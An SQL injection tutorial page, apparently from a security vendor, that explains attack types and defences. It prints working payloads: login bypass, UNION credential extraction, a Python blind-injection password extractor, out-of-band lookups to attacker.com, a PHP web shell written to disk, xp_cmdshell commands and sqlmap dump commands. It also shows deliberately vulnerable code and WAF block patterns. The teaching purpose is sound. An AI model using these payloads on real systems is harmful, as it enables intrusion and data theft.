#
SQL Injection Attacks
A code injection attack where malicious SQL statements are inserted into application input fields, allowing attackers to manipulate database queries, steal data, bypass authentication, or execute administrative operations on the database.
CRITICAL SEVERITY OWASP TOP 10 #3 DATABASE ATTACK
#
What is SQL Injection?
Critical Vulnerability
SQL Injection consistently ranks in the OWASP Top 10 most critical web application security risks. A successful attack can expose entire databases, bypass authentication, and compromise sensitive user data. It's been responsible for some of the biggest data breaches in history.
In Simple Terms:
SQL Injection is like a burglar who tricks your house's security system by speaking its own language. Instead of breaking down the door, the attacker speaks the "database language" (SQL) to trick the website into giving them access to information they shouldn't see.
Think of it this way: Imagine a bank teller who takes your request written on a piece of paper. Normally, you write "Show me my account balance." But what if you could write "Show me my account balance AND also show me everyone else's account balance"? That's essentially what SQL Injection does to websites.
#
Understanding SQL Injection (Real-World Analogy)
#
The Coffee Shop Analogy
You walk into a coffee shop and tell the barista: "Give me a coffee for John."
The barista checks the list and gives you John's coffee. Simple, right?
Now imagine you say: "Give me a coffee for John OR give me all the coffees."
If the barista blindly follows your instruction, you'd get everyone's coffee!
That's exactly how SQL Injection works on websites. The database follows instructions literally without questioning if they're malicious.
#
How It Works: The Technical Process
#
Normal Login Flow
Username: john
Password: secret123
SELECT * FROM users WHERE username = 'john' AND password = 'secret123'
If match found → Login successful If no match → Login failed
#
Hacker's Attack Flow
Username: admin' --
Password: anything
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
The -- symbol means "ignore everything after this" in SQL!
Database finds user 'admin' and never checks the password
Result: Hacker logs in as admin without knowing password!
#
Types of SQL Injection Attacks
#
1. In-Band SQL Injection (Direct Attack)
MOST COMMON
What Is It?
The attacker uses the same channel to launch the attack and gather results. Data is displayed directly in the application response.
#
Error-Based SQL Injection
Attacker triggers database errors to extract information about the database structure.
Attack Example:
http://shop.com/product?id=5'
Error Response:
Error: You have an error in your SQL syntax near 'id=5''
- Database type (MySQL, PostgreSQL, SQL Server)
- Table names
- Column names
- Database structure
# SECURE: Hide error details
try:
cursor.execute(query)
except Exception as e:
logging.error(f"Database error: {str(e)}")
return "An error occurred" # Generic message
#
Union-Based SQL Injection
DATA EXTRACTION
Combines malicious query with legitimate one using UNION operator.
Normal Query:
SELECT name, price FROM products WHERE id = 5
Attack Payload:
5' UNION SELECT username, password FROM users--
Result: Returns products AND user credentials!
' ORDER BY 1-- # Works
' ORDER BY 2-- # Works
' ORDER BY 3-- # Error → 2 columns
' UNION SELECT 'text', 123--
' UNION SELECT username, password FROM users--
# DANGEROUS - Don't use!
username = request.GET['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
// DANGEROUS - Don't use!
const username = req.query.username;
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);
<?php
// DANGEROUS - Don't use!
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
mysqli_query($conn, $query);
?>
#
2. Blind SQL Injection (The Detective Attack)
ADVANCED TECHNIQUE
Sneaky Attack
When the application doesn't display results directly, attackers ask true/false questions to extract data character by character.
#
Boolean-Based Blind SQLi
Asks the database true/false questions and infers information from application behavior.
Testing if Admin Exists:
' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0--
If page loads normally: Admin exists If page errors: Admin doesn't exist
import requests
url = "http://example.com/product?id=1"
password = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
for position in range(1, 33):
for char in chars:
payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{position},1)='{char}'--"
response = requests.get(url + payload)
if "Product Name" in response.text:
password += char
print(f"Found: {char}")
break
print(f"Admin password: {password}")
#
Time-Based Blind SQLi
TIMING ATTACK
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--
'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--
'; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') WAITFOR DELAY '00:00:05'--
' AND (SELECT CASE WHEN SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a' THEN DBMS_LOCK.SLEEP(5) ELSE NULL END FROM dual) IS NULL--
Logic: If response takes 5 seconds → condition is true → first character is 'a'
#
3. Out-of-Band SQL Injection
ADVANCED
External Channel
Attacker can't use the same channel to get results, so they force the database to make external connections to attacker-controlled servers.
'; EXEC xp_cmdshell('nslookup attacker.com')--
'; EXEC master..xp_dirtree '\\attacker.com\share'--
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual--
#
Real-World Attack Scenarios
#
Scenario 1: Authentication Bypass
CRITICAL
app.post('/login', (req, res) => {
const username = req.body.username;
const password = req.body.password;
// VULNERABLE!
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query, (err, results) => {
if (results.length > 0) {
res.send('Login successful');
}
});
});
Username: admin' OR '1'='1
Password: anything
Resulting Query:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
'1'='1' is always true → Authentication bypassed!
- Attacker gains admin access
- No password required
- Complete account takeover
#
Scenario 2: Data Extraction
DATA BREACH
def search_products(search_term):
query = f"SELECT name, price, description FROM products WHERE name LIKE '%{search_term}%'"
cursor.execute(query)
return cursor.fetchall()
' UNION SELECT username, password, email FROM users--
Result: Returns product list + ALL usernames, passwords, and emails!
' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--
Result: Reveals entire database structure
#
Scenario 3: Data Modification
DATA MANIPULATION
String email = request.getParameter("email");
String userId = request.getParameter("userId");
String query = "UPDATE users SET email = '" + email + "' WHERE id = " + userId;
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);
email: test@test.com', password='hacked123' WHERE username='admin'--
userId: 1
Resulting Query:
UPDATE users SET email = 'test@test.com', password='hacked123' WHERE username='admin'--' WHERE id = 1
Result: Admin password changed to 'hacked123'!
#
Scenario 4: Remote Code Execution
SEVERE
System Compromise
In severe cases, SQL injection can lead to complete server takeover.
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
Then access:
http://example.com/shell.php?cmd=whoami
Result: Remote code execution on server!
#
Database-Specific Techniques
#
MySQL / MariaDB
# Database version
' UNION SELECT @@version--
# Current user
' UNION SELECT user()--
# List databases
' UNION SELECT schema_name FROM information_schema.schemata--
# List tables
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
# List columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT LOAD_FILE('/etc/passwd')--
' UNION SELECT 'shell code' INTO OUTFILE '/tmp/shell.php'--
#
PostgreSQL
# Database version
' UNION SELECT version()--
# Current user
' UNION SELECT current_user--
# List tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
'; COPY (SELECT '') TO PROGRAM 'whoami'--
#
Microsoft SQL Server
# Database version
' UNION SELECT @@version--
# List databases
' UNION SELECT name FROM master..sysdatabases--
# List tables
' UNION SELECT name FROM sysobjects WHERE xtype='U'--
'; EXEC xp_cmdshell 'whoami'--
#
Oracle
# Database version
' UNION SELECT banner FROM v$version--
# List tables
' UNION SELECT table_name FROM all_tables--
# List columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
#
Prevention and Mitigation
#
1. Parameterized Queries (Prepared Statements)
MOST EFFECTIVE
Primary Defense
Parameterized queries (prepared statements) are the #1 defense against SQL injection. They ensure user input is always treated as data, never as code.
# SECURE
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?",
(username, password))
# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
# SECURE
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
# SECURE
user = session.query(User).filter_by(username=username, password=password).first()
// SECURE
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
// Handle results
});
// SECURE
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
client.query(query, [username, password], (err, res) => {
// Handle results
});
// SECURE
User.findOne({
where: {
username: username,
password: password
}
});
<?php
// SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
$results = $stmt->fetchAll();
?>
<?php
// SECURE
$stmt = $mysqli->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$result = $stmt->get_result();
?>
// SECURE
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
// SECURE
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
SqlDataReader reader = cmd.ExecuteReader();
#
2. Input Validation and Sanitization
DEFENSE IN DEPTH
import re
def validate_username(username):
"""Only allow alphanumeric and underscore"""
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("Invalid username format")
return username
def validate_numeric_id(id_value):
"""Ensure it's a number"""
try:
return int(id_value)
except ValueError:
raise ValueError("ID must be numeric")
def validate_email(email):
"""Validate email format"""
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
raise ValueError("Invalid email format")
return email
const mysql = require('mysql');
const connection = mysql.createConnection({...});
// Better than nothing, but prefer parameterized queries
const escaped_username = connection.escape(username);
const escaped_password = connection.escape(password);
#
3. Least Privilege Principle
ACCESS CONTROL
Database Permissions
Configure database users with only the minimum required permissions. Never use admin accounts for application connections.
-- Create limited user for application
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password_here';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON app_database.users TO 'webapp'@'localhost';
GRANT SELECT ON app_database.products TO 'webapp'@'localhost';
-- Deny dangerous operations
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE EXECUTE ON *.* FROM 'webapp'@'localhost';
REVOKE DROP ON *.* FROM 'webapp'@'localhost';
#
4. Web Application Firewall (WAF)
REAL-TIME PROTECTION
SecRule ARGS "@detectSQLi" \
"id:1001,\
phase:2,\
block,\
log,\
msg:'SQL Injection Attack Detected'"
waf_rules:
- rule_id: "sql_injection_001"
pattern: "(?i)(union|select|insert|update|delete|drop|exec|script)"
action: "block"
severity: "critical"
log: true
#
5. Error Handling
IMPORTANT
try:
cursor.execute(query)
except Exception as e:
# DANGEROUS - Exposes database details
return f"Database Error: {str(e)}"
import logging
try:
cursor.execute(query)
except Exception as e:
# Log internally for debugging
logging.error(f"Database error: {str(e)}")
# Show generic message to user
return "An error occurred. Please try again later."
#
Testing and Detection
#
Automated Testing Tools
SECURITY TOOLS
Most popular automated SQL injection tool
# Basic URL scan
sqlmap -u "http://example.com/product?id=1"
# Scan with cookies
sqlmap -u "http://example.com/product?id=1" --cookie="session=abc123"
# POST request scan
sqlmap -u "http://example.com/login" --data="username=admin&password=test"
# Database enumeration
sqlmap -u "http://example.com/product?id=1" --dbs
# Extract tables
sqlmap -u "http://example.com/product?id=1" -D database_name --tables
# Dump specific table
sqlmap -u "http://example.com/product?id=1" -D database_name -T users --dump
Free web application security scanner
- Automated scanning
- Active and passive scanning modes
- Spider functionality
- Custom policies
Professional web security testing platform
- Intruder for custom payloads
- Scanner for automated detection
- Repeater for manual testing
- Extensions marketplace
#
Manual Testing Checklist
- Test all input fields with special characters:
' " ; -- /* */ - Test numeric parameters with non-numeric values
- Test for error messages revealing database information
- Test UNION-based injection
- Test Boolean-based blind injection
- Test time-based blind injection
- Test second-order injection (stored then executed)
- Review all database interaction code
- Check for dynamic query construction
- Test authentication bypass payloads
#
Real-World Case Studies
#
Case Study 1: Heartland Payment Systems (2008)
130M RECORDS
SQL injection into payment processing system
- 130 million credit card numbers
- Cardholder names
- Expiration dates
- CVV codes
- $140 million in fines and settlements
- Loss of payment card industry compliance
- Reputation damage
- Stock price plummeted
Even major corporations with security budgets can fall victim to basic SQL injection if proper coding practices aren't followed.
#
Case Study 2: TalkTalk (2015)
£77M DAMAGES
SQL injection on legacy systems
- 157,000 customer records compromised
- Names, addresses, dates of birth
- Email addresses
- Phone numbers
- TalkTalk account information
- £77 million in costs and lost business
- £400,000 regulatory fine
- Loss of 95,000 customers
- CEO resigned
Old, unmaintained code can create vulnerabilities even when newer systems are secure. Regular security audits of ALL code are essential.
#
Case Study 3: RockYou (2009)
32M PASSWORDS
SQL injection + passwords stored in plaintext
- 32 million user passwords exposed
- Passwords stored without encryption
- Complete user database compromised
- Social media account takeovers
- Company reputation destroyed
- Massive user trust loss
- Regulatory investigations
- Multiple lawsuits
#
Security Checklist
#
For Developers
DO
- Use parameterized queries/prepared statements
- Validate all user input with whitelists
- Apply least privilege to database accounts
- Hide error messages from users
- Log suspicious activity
- Use ORMs that auto-escape inputs
- Regular code reviews
- Security training
DON'T
- Concatenate user input into SQL queries
- Show database errors to users
- Trust ANY user input
- Use dynamic SQL unnecessarily
- Grant excessive database privileges
- Disable security features for convenience
#
For Security Teams
- Implement WAF with SQL injection rules
- Regular penetration testing
- Automated vulnerability scanning
- Monitor database query logs
- Alert on suspicious patterns
- Incident response plan
- Regular security audits
- Keep all software updated
#
For Users
TIPS
- Use unique passwords for each site
- Enable two-factor authentication
- Monitor account activity
- Change passwords after breaches
- Use password managers
- Be cautious with data sharing
#
How Layerd AI Protects Against SQL Injection
Layerd AI Guardian Proxy provides comprehensive protection:
- Real-time WAF: Blocks SQL injection attempts before they reach your database
- AI-Powered Detection: Machine learning identifies new attack patterns
- Automatic Patching: Virtual patching for known vulnerabilities
- Query Analysis: Monitors database queries for suspicious patterns
- Threat Intelligence: Updated attack signatures from global threat feeds
- Compliance Reporting: Detailed logs for regulatory requirements
Protect your applications with Layerd AI's intelligent SQL injection defense.
#
Additional Resources
- OWASP SQL Injection Guide
- PortSwigger Web Security Academy - SQL Injection
- SQLMap Documentation
- CWE-89: SQL Injection
- OWASP Testing Guide - SQL Injection
Last Updated: November 2025